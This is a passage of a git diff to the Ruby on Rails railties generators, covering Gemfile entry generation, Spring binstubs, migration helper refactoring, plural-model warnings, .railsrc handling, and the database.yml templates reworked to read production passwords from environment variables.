+ gems = [coffee_gemfile_entry, javascript_runtime_gemfile_entry]
+ gems << GemfileEntry.version("#{options[:javascript]}-rails", nil,
+ "Use #{options[:javascript]} as the JavaScript library")
+
+ gems << GemfileEntry.version("turbolinks", nil,
+ "Turbolinks makes following links in your web application faster. Read more: https://github.com/rails/turbolinks")
+ gems
end
end
def javascript_runtime_gemfile_entry
- runtime = if defined?(JRUBY_VERSION)
- "gem 'therubyrhino'"
+ comment = 'See https://github.com/sstephenson/execjs#readme for more supported runtimes'
+ if defined?(JRUBY_VERSION)
+ GemfileEntry.version 'therubyrhino', nil, comment
else
- "# gem 'therubyracer', platforms: :ruby"
+ GemfileEntry.new 'therubyracer', nil, comment, { platforms: :ruby }, true
end
- <<-GEMFILE
- # See https://github.com/sstephenson/execjs#readme for more supported runtimes
- #{runtime}
- GEMFILE
+ end
+
+ def spring_gemfile_entry
+ return [] unless spring_install?
+ comment = 'Spring speeds up development by keeping your application running in the background. Read more: https://github.com/rails/spring'
+ GemfileEntry.new('spring', nil, comment, group: :development)
end
def bundle_command(command)
@@ -269,12 +327,27 @@ module Rails
require 'bundler'
Bundler.with_clean_env do
- print `"#{Gem.ruby}" "#{_bundle_command}" #{command}`
+ output = `"#{Gem.ruby}" "#{_bundle_command}" #{command}`
+ print output unless options[:quiet]
end
end
+ def bundle_install?
+ !(options[:skip_gemfile] || options[:skip_bundle] || options[:pretend])
+ end
+
+ def spring_install?
+ !options[:skip_spring] && Process.respond_to?(:fork)
+ end
+
def run_bundle
- bundle_command('install') unless options[:skip_gemfile] || options[:skip_bundle] || options[:pretend]
+ bundle_command('install') if bundle_install?
+ end
+
+ def generate_spring_binstubs
+ if bundle_install? && spring_install?
+ bundle_command("exec spring binstub --all")
+ end
end
def empty_directory_with_keep_file(destination, config = {})
diff --git a/railties/lib/rails/generators/base.rb b/railties/lib/rails/generators/base.rb
index 7e938fab47..67bab96a22 100644
--- a/railties/lib/rails/generators/base.rb
+++ b/railties/lib/rails/generators/base.rb
@@ -7,8 +7,6 @@ rescue LoadError
exit
end
-require 'rails/generators/actions'
-
module Rails
module Generators
class Error < Thor::Error # :nodoc:
@@ -168,15 +166,15 @@ module Rails
as_hook = options.delete(:as) || generator_name
names.each do |name|
- defaults = if options[:type] == :boolean
- { }
- elsif [true, false].include?(default_value_for_option(name, options))
- { banner: "" }
- else
- { desc: "#{name.to_s.humanize} to be invoked", banner: "NAME" }
- end
-
unless class_options.key?(name)
+ defaults = if options[:type] == :boolean
+ { }
+ elsif [true, false].include?(default_value_for_option(name, options))
+ { banner: "" }
+ else
+ { desc: "#{name.to_s.humanize} to be invoked", banner: "NAME" }
+ end
+
class_option(name, defaults.merge!(options))
end
@@ -211,7 +209,7 @@ module Rails
return unless base_name && generator_name
return unless default_generator_root
path = File.join(default_generator_root, 'templates')
- path if File.exists?(path)
+ path if File.exist?(path)
end
# Returns the base root for a common set of generators. This is used to dynamically
@@ -255,12 +253,7 @@ module Rails
# Split the class from its module nesting
nesting = class_name.split('::')
last_name = nesting.pop
-
- # Extract the last Module in the nesting
- last = nesting.inject(Object) do |last_module, nest|
- break unless last_module.const_defined?(nest, false)
- last_module.const_get(nest)
- end
+ last = extract_last_module(nesting)
if last && last.const_defined?(last_name.camelize, false)
raise Error, "The name '#{class_name}' is either already used in your application " <<
@@ -270,6 +263,14 @@ module Rails
end
end
+ # Takes in an array of nested modules and extracts the last module
+ def extract_last_module(nesting)
+ nesting.inject(Object) do |last_module, nest|
+ break unless last_module.const_defined?(nest, false)
+ last_module.const_get(nest)
+ end
+ end
+
# Use Rails default banner.
def self.banner
"rails generate #{namespace.sub(/^rails:/,'')} #{self.arguments.map{ |a| a.usage }.join(' ')} [options]".gsub(/\s+/, ' ')
@@ -295,7 +296,7 @@ module Rails
end
end
- # Return the default value for the option name given doing a lookup in
+ # Returns the default value for the option name given doing a lookup in
# Rails::Generators.options.
def self.default_value_for_option(name, options)
default_for_option(Rails::Generators.options, name, options, options[:default])
@@ -365,12 +366,12 @@ module Rails
source_root && File.expand_path("../USAGE", source_root),
default_generator_root && File.join(default_generator_root, "USAGE")
]
- paths.compact.detect { |path| File.exists? path }
+ paths.compact.detect { |path| File.exist? path }
end
def self.default_generator_root
path = File.expand_path(File.join(base_name, generator_name), base_root)
- path if File.exists?(path)
+ path if File.exist?(path)
end
end
diff --git a/railties/lib/rails/generators/erb.rb b/railties/lib/rails/generators/erb.rb
index 73e986ee7f..0755ac335c 100644
--- a/railties/lib/rails/generators/erb.rb
+++ b/railties/lib/rails/generators/erb.rb
@@ -5,6 +5,10 @@ module Erb # :nodoc:
class Base < Rails::Generators::NamedBase #:nodoc:
protected
+ def formats
+ [format]
+ end
+
def format
:html
end
@@ -13,7 +17,7 @@ module Erb # :nodoc:
:erb
end
- def filename_with_extensions(name)
+ def filename_with_extensions(name, format = self.format)
[name, format, handler].compact.join(".")
end
end
diff --git a/railties/lib/rails/generators/erb/controller/controller_generator.rb b/railties/lib/rails/generators/erb/controller/controller_generator.rb
index 5f06734ab8..94c1b835d1 100644
--- a/railties/lib/rails/generators/erb/controller/controller_generator.rb
+++ b/railties/lib/rails/generators/erb/controller/controller_generator.rb
@@ -11,8 +11,10 @@ module Erb # :nodoc:
actions.each do |action|
@action = action
- @path = File.join(base_path, filename_with_extensions(action))
- template filename_with_extensions(:view), @path
+ formats.each do |format|
+ @path = File.join(base_path, filename_with_extensions(action, format))
+ template filename_with_extensions(:view, format), @path
+ end
end
end
end
diff --git a/railties/lib/rails/generators/erb/mailer/mailer_generator.rb b/railties/lib/rails/generators/erb/mailer/mailer_generator.rb
index 7bcac30dde..66b17bd10e 100644
--- a/railties/lib/rails/generators/erb/mailer/mailer_generator.rb
+++ b/railties/lib/rails/generators/erb/mailer/mailer_generator.rb
@@ -5,8 +5,8 @@ module Erb # :nodoc:
class MailerGenerator < ControllerGenerator # :nodoc:
protected
- def format
- :text
+ def formats
+ [:text, :html]
end
end
end
diff --git a/railties/lib/rails/generators/erb/mailer/templates/view.html.erb b/railties/lib/rails/generators/erb/mailer/templates/view.html.erb
new file mode 100644
index 0000000000..b5045671b3
--- /dev/null
+++ b/railties/lib/rails/generators/erb/mailer/templates/view.html.erb
@@ -0,0 +1,5 @@
+<h1><%= class_name %>#<%= @action %></h1>
+
+<p>
+ <%%= @greeting %>, find me in <%= @path %>
+</p>
diff --git a/railties/lib/rails/generators/erb/mailer/templates/view.text.erb b/railties/lib/rails/generators/erb/mailer/templates/view.text.erb
index 6d597256a6..342285df19 100644
--- a/railties/lib/rails/generators/erb/mailer/templates/view.text.erb
+++ b/railties/lib/rails/generators/erb/mailer/templates/view.text.erb
@@ -1,3 +1,3 @@
<%= class_name %>#<%= @action %>
-<%%= @greeting %>, find me in app/views/<%= @path %>
+<%%= @greeting %>, find me in <%= @path %>
diff --git a/railties/lib/rails/generators/erb/scaffold/scaffold_generator.rb b/railties/lib/rails/generators/erb/scaffold/scaffold_generator.rb
index bacbc2d280..c94829a0ae 100644
--- a/railties/lib/rails/generators/erb/scaffold/scaffold_generator.rb
+++ b/railties/lib/rails/generators/erb/scaffold/scaffold_generator.rb
@@ -14,8 +14,10 @@ module Erb # :nodoc:
def copy_view_files
available_views.each do |view|
- filename = filename_with_extensions(view)
- template filename, File.join("app/views", controller_file_path, filename)
+ formats.each do |format|
+ filename = filename_with_extensions(view, format)
+ template filename, File.join("app/views", controller_file_path, filename)
+ end
end
end
diff --git a/railties/lib/rails/generators/erb/scaffold/templates/_form.html.erb b/railties/lib/rails/generators/erb/scaffold/templates/_form.html.erb
index 1799e823b6..da99e74435 100644
--- a/railties/lib/rails/generators/erb/scaffold/templates/_form.html.erb
+++ b/railties/lib/rails/generators/erb/scaffold/templates/_form.html.erb
@@ -4,8 +4,8 @@
<h2><%%= pluralize(@<%= singular_table_name %>.errors.count, "error") %> prohibited this <%= singular_table_name %> from being saved:</h2>
<ul>
- <%% @<%= singular_table_name %>.errors.full_messages.each do |msg| %>
- <li><%%= msg %></li>
+ <%% @<%= singular_table_name %>.errors.full_messages.each do |message| %>
+ <li><%%= message %></li>
<%% end %>
</ul>
</div>
@@ -21,8 +21,8 @@
<%%= f.label :password_confirmation %><br>
<%%= f.password_field :password_confirmation %>
<% else -%>
- <%%= f.label :<%= attribute.name %> %><br>
- <%%= f.<%= attribute.field_type %> :<%= attribute.name %> %>
+ <%%= f.label :<%= attribute.column_name %> %><br>
+ <%%= f.<%= attribute.field_type %> :<%= attribute.column_name %> %>
<% end -%>
</div>
<% end -%>
diff --git a/railties/lib/rails/generators/generated_attribute.rb b/railties/lib/rails/generators/generated_attribute.rb
index 5e2784c4b0..c5326d70d1 100644
--- a/railties/lib/rails/generators/generated_attribute.rb
+++ b/railties/lib/rails/generators/generated_attribute.rb
@@ -94,6 +94,10 @@ module Rails
name.sub(/_id$/, '').pluralize
end
+ def singular_name
+ name.sub(/_id$/, '').singularize
+ end
+
def human_name
name.humanize
end
diff --git a/railties/lib/rails/generators/migration.rb b/railties/lib/rails/generators/migration.rb
index cd69a017dd..cd388e590a 100644
--- a/railties/lib/rails/generators/migration.rb
+++ b/railties/lib/rails/generators/migration.rb
@@ -1,15 +1,15 @@
+require 'active_support/concern'
+require 'rails/generators/actions/create_migration'
+
module Rails
module Generators
# Holds common methods for migrations. It assumes that migrations has the
# [0-9]*_name format and can be used by another frameworks (like Sequel)
# just by implementing the next migration version method.
module Migration
+ extend ActiveSupport::Concern
attr_reader :migration_number, :migration_file_name, :migration_class_name
- def self.included(base) #:nodoc:
- base.extend ClassMethods
- end
-
module ClassMethods
def migration_lookup_at(dirname) #:nodoc:
Dir.glob("#{dirname}/[0-9]*_*.rb")
@@ -30,6 +30,19 @@ module Rails
end
end
+ def create_migration(destination, data, config = {}, &block)
+ action Rails::Generators::Actions::CreateMigration.new(self, destination, block || data.to_s, config)
+ end
+
+ def set_migration_assigns!(destination)
+ destination = File.expand_path(destination, self.destination_root)
+
+ migration_dir = File.dirname(destination)
+ @migration_number = self.class.next_migration_number(migration_dir)
+ @migration_file_name = File.basename(destination, '.rb')
+ @migration_class_name = @migration_file_name.camelize
+ end
+
# Creates a migration template at the given destination. The difference
# to the default template method is that the migration version is appended
# to the destination file name.
@@ -38,26 +51,18 @@ module Rails
# available as instance variables in the template to be rendered.
#
# migration_template "migration.rb", "db/migrate/add_foo_to_bar.rb"
- def migration_template(source, destination=nil, config={})
- destination = File.expand_path(destination || source, self.destination_root)
+ def migration_template(source, destination, config = {})
+ source = File.expand_path(find_in_source_paths(source.to_s))
- migration_dir = File.dirname(destination)
- @migration_number = self.class.next_migration_number(migration_dir)
- @migration_file_name = File.basename(destination).sub(/\.rb$/, '')
- @migration_class_name = @migration_file_name.camelize
+ set_migration_assigns!(destination)
+ context = instance_eval('binding')
- destination = self.class.migration_exists?(migration_dir, @migration_file_name)
+ dir, base = File.split(destination)
+ numbered_destination = File.join(dir, ["%migration_number%", base].join('_'))
- if !(destination && options[:skip]) && behavior == :invoke
- if destination && options.force?
- remove_file(destination)
- elsif destination
- raise Error, "Another migration is already named #{@migration_file_name}: #{destination}. Use --force to remove the old migration file and replace it."
- end
- destination = File.join(migration_dir, "#{@migration_number}_#{@migration_file_name}.rb")
+ create_migration numbered_destination, nil, config do
+ ERB.new(::File.binread(source), nil, '-', '@output_buffer').result(context)
end
-
- template(source, destination, config)
end
end
end
diff --git a/railties/lib/rails/generators/model_helpers.rb b/railties/lib/rails/generators/model_helpers.rb
new file mode 100644
index 0000000000..42c646543e
--- /dev/null
+++ b/railties/lib/rails/generators/model_helpers.rb
@@ -0,0 +1,28 @@
+require 'rails/generators/active_model'
+
+module Rails
+ module Generators
+ module ModelHelpers # :nodoc:
+ PLURAL_MODEL_NAME_WARN_MESSAGE = "[WARNING] The model name '%s' was recognized as a plural, using the singular '%s' instead. " \
+ "Override with --force-plural or setup custom inflection rules for this noun before running the generator."
+ mattr_accessor :skip_warn
+
+ def self.included(base) #:nodoc:
+ base.class_option :force_plural, type: :boolean, default: false, desc: 'Forces the use of the given model name'
+ end
+
+ def initialize(args, *_options)
+ super
+ if name == name.pluralize && name.singularize != name.pluralize && !options[:force_plural]
+ singular = name.singularize
+ unless ModelHelpers.skip_warn
+ say PLURAL_MODEL_NAME_WARN_MESSAGE % [name, singular]
+ ModelHelpers.skip_warn = true
+ end
+ name.replace singular
+ assign_names!(name)
+ end
+ end
+ end
+ end
+end
diff --git a/railties/lib/rails/generators/named_base.rb b/railties/lib/rails/generators/named_base.rb
index e712c747b0..5a92ab3e95 100644
--- a/railties/lib/rails/generators/named_base.rb
+++ b/railties/lib/rails/generators/named_base.rb
@@ -90,7 +90,7 @@ module Rails
end
def namespaced_path
- @namespaced_path ||= namespace.name.split("::").map {|m| m.underscore }[0]
+ @namespaced_path ||= namespace.name.split("::").first.underscore
end
def class_name
diff --git a/railties/lib/rails/generators/rails/app/app_generator.rb b/railties/lib/rails/generators/rails/app/app_generator.rb
index d48dcf9ef3..8675d8bc1e 100644
--- a/railties/lib/rails/generators/rails/app/app_generator.rb
+++ b/railties/lib/rails/generators/rails/app/app_generator.rb
@@ -50,7 +50,7 @@ module Rails
end
def gitignore
- copy_file "gitignore", ".gitignore"
+ template "gitignore", ".gitignore"
end
def app
@@ -68,7 +68,7 @@ module Rails
directory "bin" do |content|
"#{shebang}\n" + content
end
- chmod "bin", 0755, verbose: false
+ chmod "bin", 0755 & ~File.umask, verbose: false
end
def config
@@ -78,6 +78,7 @@ module Rails
template "routes.rb"
template "application.rb"
template "environment.rb"
+ template "secrets.yml"
directory "environments"
directory "initializers"
@@ -129,7 +130,9 @@ module Rails
end
def vendor_javascripts
- empty_directory_with_keep_file 'vendor/assets/javascripts'
+ unless options[:skip_javascript]
+ empty_directory_with_keep_file 'vendor/assets/javascripts'
+ end
end
def vendor_stylesheets
@@ -151,23 +154,18 @@ module Rails
desc: "Show Rails version number and quit"
def initialize(*args)
- if args[0].blank?
- if args[1].blank?
- # rails new
- raise Error, "Application name should be provided in arguments. For details run: rails --help"
- else
- # rails new --skip-bundle my_new_application
- raise Error, "Options should be given after the application name. For details run: rails --help"
- end
- end
-
super
+ unless app_path
+ raise Error, "Application name should be provided in arguments. For details run: rails --help"
+ end
+
if !options[:skip_active_record] && !DATABASES.include?(options[:database])
raise Error, "Invalid value for --database option. Supported for preconfiguration are: #{DATABASES.join(", ")}."
end
end
+ public_task :set_default_accessors!
public_task :create_root
def create_root_files
@@ -227,11 +225,24 @@ module Rails
build(:vendor)
end
+ def delete_js_folder_skipping_javascript
+ if options[:skip_javascript]
+ remove_dir 'app/assets/javascripts'
+ end
+ end
+
+ def delete_assets_initializer_skipping_sprockets
+ if options[:skip_sprockets]
+ remove_file 'config/initializers/assets.rb'
+ end
+ end
+
def finish_template
build(:leftovers)
end
public_task :apply_rails_template, :run_bundle
+ public_task :generate_spring_binstubs
protected
@@ -245,7 +256,7 @@ module Rails
end
def app_name
- @app_name ||= (defined_app_const_base? ? defined_app_name : File.basename(destination_root)).tr(".", "_")
+ @app_name ||= (defined_app_const_base? ? defined_app_name : File.basename(destination_root)).tr('\\', '').tr(". ", "_")
end
def defined_app_name
@@ -300,5 +311,76 @@ module Rails
defined?(::AppBuilder) ? ::AppBuilder : Rails::AppBuilder
end
end
+
+ # This class handles preparation of the arguments before the AppGenerator is
+ # called. The class provides version or help information if they were
+ # requested, and also constructs the railsrc file (used for extra configuration
+ # options).
+ #
+ # This class should be called before the AppGenerator is required and started
+ # since it configures and mutates ARGV correctly.
+ class ARGVScrubber # :nodoc
+ def initialize(argv = ARGV)
+ @argv = argv
+ end
+
+ def prepare!
+ handle_version_request!(@argv.first)
+ handle_invalid_command!(@argv.first, @argv) do
+ handle_rails_rc!(@argv.drop(1))
+ end
+ end
+
+ def self.default_rc_file
+ File.expand_path('~/.railsrc')
+ end
+
+ private
+
+ def handle_version_request!(argument)
+ if ['--version', '-v'].include?(argument)
+ require 'rails/version'
+ puts "Rails #{Rails::VERSION::STRING}"
+ exit(0)
+ end
+ end
+
+ def handle_invalid_command!(argument, argv)
+ if argument == "new"
+ yield
+ else
+ ['--help'] + argv.drop(1)
+ end
+ end
+
+ def handle_rails_rc!(argv)
+ if argv.find { |arg| arg == '--no-rc' }
+ argv.reject { |arg| arg == '--no-rc' }
+ else
+ railsrc(argv) { |rc_argv, rc| insert_railsrc_into_argv!(rc_argv, rc) }
+ end
+ end
+
+ def railsrc(argv)
+ if (customrc = argv.index{ |x| x.include?("--rc=") })
+ fname = File.expand_path(argv[customrc].gsub(/--rc=/, ""))
+ yield(argv.take(customrc) + argv.drop(customrc + 1), fname)
+ else
+ yield argv, self.class.default_rc_file
+ end
+ end
+
+ def read_rc_file(railsrc)
+ extra_args = File.readlines(railsrc).flat_map(&:split)
+ puts "Using #{extra_args.join(" ")} from #{railsrc}"
+ extra_args
+ end
+
+ def insert_railsrc_into_argv!(argv, railsrc)
+ return argv unless File.exist?(railsrc)
+ extra_args = read_rc_file railsrc
+ argv.take(1) + extra_args + argv.drop(1)
+ end
+ end
end
end
diff --git a/railties/lib/rails/generators/rails/app/templates/Gemfile b/railties/lib/rails/generators/rails/app/templates/Gemfile
index 577ff651e5..448b6f4845 100644
--- a/railties/lib/rails/generators/rails/app/templates/Gemfile
+++ b/railties/lib/rails/generators/rails/app/templates/Gemfile
@@ -1,30 +1,37 @@
source 'https://rubygems.org'
-<%= rails_gemfile_entry -%>
+<% max_width = gemfile_entries.map { |g| g.name.length }.max -%>
+<% gemfile_entries.each do |gem| -%>
+<% if gem.comment -%>
-<%= database_gemfile_entry -%>
-
-<%= assets_gemfile_entry %>
-<%= javascript_gemfile_entry -%>
-
-# Build JSON APIs with ease. Read more: https://github.com/rails/jbuilder
-gem 'jbuilder', '~> 1.2'
-
-group :doc do
- # bundle exec rake doc:rails generates the API under doc/api.
- gem 'sdoc', require: false
-end
+# <%= gem.comment %>
+<% end -%>
+<%= gem.commented_out ? '# ' : '' %>gem '<%= gem.name %>'<%= %(, '#{gem.version}') if gem.version -%>
+<% if gem.options.any? -%>
+,<%= gem.padding(max_width) %><%= gem.options.map { |k,v|
+ "#{k}: #{v.inspect}" }.join(', ') %>
+<% end -%>
+<% end -%>
# Use ActiveModel has_secure_password
-# gem 'bcrypt-ruby', '~> 3.0.0'
+# gem 'bcrypt', '~> 3.1.7'
# Use unicorn as the app server
# gem 'unicorn'
# Use Capistrano for deployment
-# gem 'capistrano', group: :development
+# gem 'capistrano-rails', group: :development
<% unless defined?(JRUBY_VERSION) -%>
-# Use debugger
+# To use a debugger
+ <%- if RUBY_VERSION < '2.0.0' -%>
# gem 'debugger', group: [:development, :test]
+ <%- else -%>
+# gem 'byebug', group: [:development, :test]
+ <%- end -%>
+<% end -%>
+
+<% if RUBY_PLATFORM.match(/bccwin|cygwin|emx|mingw|mswin|wince/) -%>
+# Windows does not include zoneinfo files, so bundle the tzinfo-data gem
+gem 'tzinfo-data', platforms: [:mingw, :mswin, :x64_mingw]
<% end -%>
diff --git a/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt b/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt
index 8b91313e51..07ea09cdbd 100644
--- a/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt
+++ b/railties/lib/rails/generators/rails/app/templates/app/assets/javascripts/application.js.tt
@@ -13,6 +13,8 @@
<% unless options[:skip_javascript] -%>
//= require <%= options[:javascript] %>
//= require <%= options[:javascript] %>_ujs
+<% if gemfile_entries.any? { |m| m.name == "turbolinks" } -%>
//= require turbolinks
<% end -%>
+<% end -%>
//= require_tree .
diff --git a/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css b/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css
index 3192ec897b..a443db3401 100644
--- a/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css
+++ b/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css
@@ -5,9 +5,11 @@
* Any CSS and SCSS file within this directory, lib/assets/stylesheets, vendor/assets/stylesheets,
* or vendor/assets/stylesheets of plugins, if any, can be referenced here using a relative path.
*
- * You're free to add application-wide styles to this file and they'll appear at the top of the
- * compiled file, but it's generally better to create a new file per style scope.
+ * You're free to add application-wide styles to this file and they'll appear at the bottom of the
+ * compiled file so the styles you add here take precedence over styles defined in any styles
+ * defined in the other CSS/SCSS files in this directory. It is generally better to create a new
+ * file per style scope.
*
- *= require_self
*= require_tree .
+ *= require_self
*/
diff --git a/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt b/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt
index d87c7b7268..75ea52828e 100644
--- a/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt
+++ b/railties/lib/rails/generators/rails/app/templates/app/views/layouts/application.html.erb.tt
@@ -2,8 +2,17 @@
<html>
<head>
<title><%= camelized %></title>
- <%%= stylesheet_link_tag "application", media: "all", "data-turbolinks-track" => true %>
- <%%= javascript_include_tag "application", "data-turbolinks-track" => true %>
+ <%- if options[:skip_javascript] -%>
+ <%%= stylesheet_link_tag 'application', media: 'all' %>
+ <%- else -%>
+ <%- if gemfile_entries.any? { |m| m.name == 'turbolinks' } -%>
+ <%%= stylesheet_link_tag 'application', media: 'all', 'data-turbolinks-track' => true %>
+ <%%= javascript_include_tag 'application', 'data-turbolinks-track' => true %>
+ <%- else -%>
+ <%%= stylesheet_link_tag 'application', media: 'all' %>
+ <%%= javascript_include_tag 'application' %>
+ <%- end -%>
+ <%- end -%>
<%%= csrf_meta_tags %>
</head>
<body>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/application.rb b/railties/lib/rails/generators/rails/app/templates/config/application.rb
index 4d474d5267..16fe50bab8 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/application.rb
+++ b/railties/lib/rails/generators/rails/app/templates/config/application.rb
@@ -8,13 +8,14 @@ require "active_model/railtie"
<%= comment_if :skip_active_record %>require "active_record/railtie"
require "action_controller/railtie"
require "action_mailer/railtie"
+<%= comment_if :skip_action_view %>require "action_view/railtie"
<%= comment_if :skip_sprockets %>require "sprockets/railtie"
<%= comment_if :skip_test_unit %>require "rails/test_unit/railtie"
<% end -%>
# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
-Bundler.require(:default, Rails.env)
+Bundler.require(*Rails.groups)
module <%= app_const_base %>
class Application < Rails::Application
@@ -29,10 +30,5 @@ module <%= app_const_base %>
# The default locale is :en and all translations from config/locales/*.rb,yml are auto loaded.
# config.i18n.load_path += Dir[Rails.root.join('my', 'locales', '*.{rb,yml}').to_s]
# config.i18n.default_locale = :de
-<% if options.skip_sprockets? -%>
-
- # Disable the asset pipeline.
- config.assets.enabled = false
-<% end -%>
end
end
diff --git a/railties/lib/rails/generators/rails/app/templates/config/boot.rb b/railties/lib/rails/generators/rails/app/templates/config/boot.rb
index 3596736667..5e5f0c1fac 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/boot.rb
+++ b/railties/lib/rails/generators/rails/app/templates/config/boot.rb
@@ -1,4 +1,4 @@
# Set up gems listed in the Gemfile.
ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
-require 'bundler/setup' if File.exists?(ENV['BUNDLE_GEMFILE'])
+require 'bundler/setup' if File.exist?(ENV['BUNDLE_GEMFILE'])
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/frontbase.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/frontbase.yml
index 4807986333..34fc0e3465 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/frontbase.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/frontbase.yml
@@ -6,26 +6,44 @@
# Configure Using Gemfile
# gem 'ruby-frontbase'
#
-development:
+default: &default
adapter: frontbase
host: localhost
- database: <%= app_name %>_development
username: <%= app_name %>
password: ''
+development:
+ <<: *default
+ database: <%= app_name %>_development
+
# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
test:
- adapter: frontbase
- host: localhost
+ <<: *default
database: <%= app_name %>_test
- username: <%= app_name %>
- password: ''
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
+# DATABASE_URL="frontbase://myuser:mypass@localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+# production:
+# url: <%%= ENV['DATABASE_URL'] %>
+#
production:
- adapter: frontbase
- host: localhost
+ <<: *default
database: <%= app_name %>_production
username: <%= app_name %>
- password: ''
+ password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/ibm_db.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/ibm_db.yml
index 3d689a110a..d088dd62bf 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/ibm_db.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/ibm_db.yml
@@ -33,12 +33,11 @@
#
# For more details on the installation and the connection parameters below,
# please refer to the latest documents at http://rubyforge.org/docman/?group_id=2361
-
-development:
+#
+default: &default
adapter: ibm_db
username: db2inst1
password:
- database: <%= app_name[0,4] %>_dev
#schema: db2inst1
#host: localhost
#port: 50000
@@ -51,36 +50,38 @@ development:
#authentication: SERVER
#parameterized: false
+development:
+ <<: *default
+ database: <%= app_name[0,4] %>_dev
+
+# Warning: The database defined as "test" will be erased and
+# re-generated from your development database when you run "rake".
+# Do not set this db to the same as development or production.
test:
- adapter: ibm_db
- username: db2inst1
- password:
+ <<: *default
database: <%= app_name[0,4] %>_tst
- #schema: db2inst1
- #host: localhost
- #port: 50000
- #account: my_account
- #app_user: my_app_user
- #application: my_application
- #workstation: my_workstation
- #security: SSL
- #timeout: 10
- #authentication: SERVER
- #parameterized: false
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
+# On Heroku and other platform providers, you may have a full connection URL
+# available as an environment variable. For example:
+#
+# DATABASE_URL="ibm-db://myuser:mypass@localhost/somedatabase"
+#
+# You can use this database configuration with:
+#
+# production:
+# url: <%%= ENV['DATABASE_URL'] %>
+#
production:
- adapter: ibm_db
- username: db2inst1
- password:
- database: <%= app_name[0,8] %>
- #schema: db2inst1
- #host: localhost
- #port: 50000
- #account: my_account
- #app_user: my_app_user
- #application: my_application
- #workstation: my_workstation
- #security: SSL
- #timeout: 10
- #authentication: SERVER
- #parameterized: false \ No newline at end of file
+ <<: *default
+ database: <%= app_name %>_production
+ username: <%= app_name %>
+ password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml
index 1d2bf08b91..db0a429753 100644
--- a/railties/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml
+++ b/railties/lib/rails/generators/rails/app/templates/config/databases/jdbc.yml
@@ -5,58 +5,64 @@
# Configure using Gemfile:
# gem 'activerecord-jdbcmssql-adapter'
#
-#development:
-# adapter: mssql
-# username: <%= app_name %>
-# password:
-# host: localhost
-# database: <%= app_name %>_development
+# development:
+# adapter: mssql
+# username: <%= app_name %>
+# password:
+# host: localhost
+# database: <%= app_name %>_development
#
# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
#
-#test:
-# adapter: mssql
-# username: <%= app_name %>
-# password:
-# host: localhost
-# database: <%= app_name %>_test
+# test:
+# adapter: mssql
+# username: <%= app_name %>
+# password:
+# host: localhost
+# database: <%= app_name %>_test
#
-#production:
-# adapter: mssql
-# username: <%= app_name %>
-# password:
-# host: localhost
-# database: <%= app_name %>_production
+# production:
+# adapter: mssql
+# username: <%= app_name %>
+# password:
+# host: localhost
+# database: <%= app_name %>_production
# If you are using oracle, db2, sybase, informix or prefer to use the plain
# JDBC adapter, configure your database setting as the example below (requires
# you to download and manually install the database vendor's JDBC driver .jar
-# file). See your driver documentation for the apropriate driver class and
+# file). See your driver documentation for the appropriate driver class and
# connection string:
-development:
+default: &default
adapter: jdbc
username: <%= app_name %>
password:
driver:
+
+development:
+ <<: *default
url: jdbc:db://localhost/<%= app_name %>_development
# Warning: The database defined as "test" will be erased and
# re-generated from your development database when you run "rake".
# Do not set this db to the same as development or production.
-
test:
- adapter: jdbc
- username: <%= app_name %>
- password:
- driver:
+ <<: *default
url: jdbc:db://localhost/<%= app_name %>_test
+# As with config/secrets.yml, you never want to store sensitive information,
+# like your database password, in your source code. If your source code is
+# ever seen by anyone, they now have access to your database.
+#
+# Instead, provide the password as a unix environment variable when you boot
+# the app. Read http://guides.rubyonrails.org/configuring.html#configuring-a-database
+# for a full rundown on how to provide these environment variables in a
+# production deployment.
+#
production:
- adapter: jdbc
- username: <%= app_name %>
- password:
- driver:
url: jdbc:db://localhost/<%= app_name %>_production
+ username: <%= app_name %>
+ password: <%%= ENV['<%= app_name.upcase %>_DATABASE_PASSWORD'] %>
